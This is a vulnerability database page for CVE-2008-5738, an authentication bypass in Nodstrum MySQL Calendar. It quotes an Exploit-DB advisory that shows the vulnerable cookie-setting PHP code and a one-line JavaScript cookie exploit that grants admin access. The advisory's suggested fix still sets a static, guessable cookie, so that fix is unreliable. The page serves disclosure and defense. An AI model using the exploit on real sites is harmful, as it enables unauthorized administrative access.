CVE-2008-5738 : Detail

CVE-2008-5738

A01-Broken Access Control
4.72%V3
Network
2008-12-26
17h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Nodstrum MySQL Calendar 1.1 and 1.2 allows remote attackers to bypass authentication and gain administrative access by setting the nodstrumCalendarV2 cookie to 1. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 7513

Publication date : 2008-12-17 23h00 +00:00
Author : Osirys
EDB Verified : Yes

[START] ######################################################################################### [0x01] Informations: Script : Calendar Script v1.1 Download : http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1 Vulnerability : Insecure Cookie Handling Author : Osirys Contact : osirys[at]live[dot]it Website : http://osirys.org Notes : Proud to be Italian Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX ######################################################################################### [0x02] Bug: [Insecure Cookie Handling] ###### Bugged file is: /[path]/index.php [CODE] if(mysql_num_rows($checkDetails) > 0) { setcookie('nodstrumCalendarV2', '1', time()+3600); // Cookie will expire in 1 hour. // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>'; } [/CODE] If we login in correctly, a cookie is created with 'nodstrumCalendarV2' as name and '1' as content. ## [!] FIX: Change name or content to the cookie. Example: [CODE] if(mysql_num_rows($checkDetails) > 0) { setcookie('nodstrumCalendarV2', '$password', time()+3600); // Cookie will expire in 1 hour. // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>'; } [/CODE] ### [!] EXPLOIT: javascript:document.cookie = "nodstrumCalendarV2=1; path=/"; ######################################################################################### [/END] # milw0rm.com [2008-12-18]

Products Mentioned

Configuraton 0

Nodstrum>>Mysql_calendar >> Version 1.1

    Nodstrum>>Mysql_calendar >> Version 1.2

      References

      http://securityreason.com/securityalert/4816
      Tags : third-party-advisory, x_refsource_SREASON
      http://www.securityfocus.com/bid/32914
      Tags : vdb-entry, x_refsource_BID
      https://www.exploit-db.com/exploits/7513
      Tags : exploit, x_refsource_EXPLOIT-DB
      http://osvdb.org/50827
      Tags : vdb-entry, x_refsource_OSVDB
      http://secunia.com/advisories/33214
      Tags : third-party-advisory, x_refsource_SECUNIA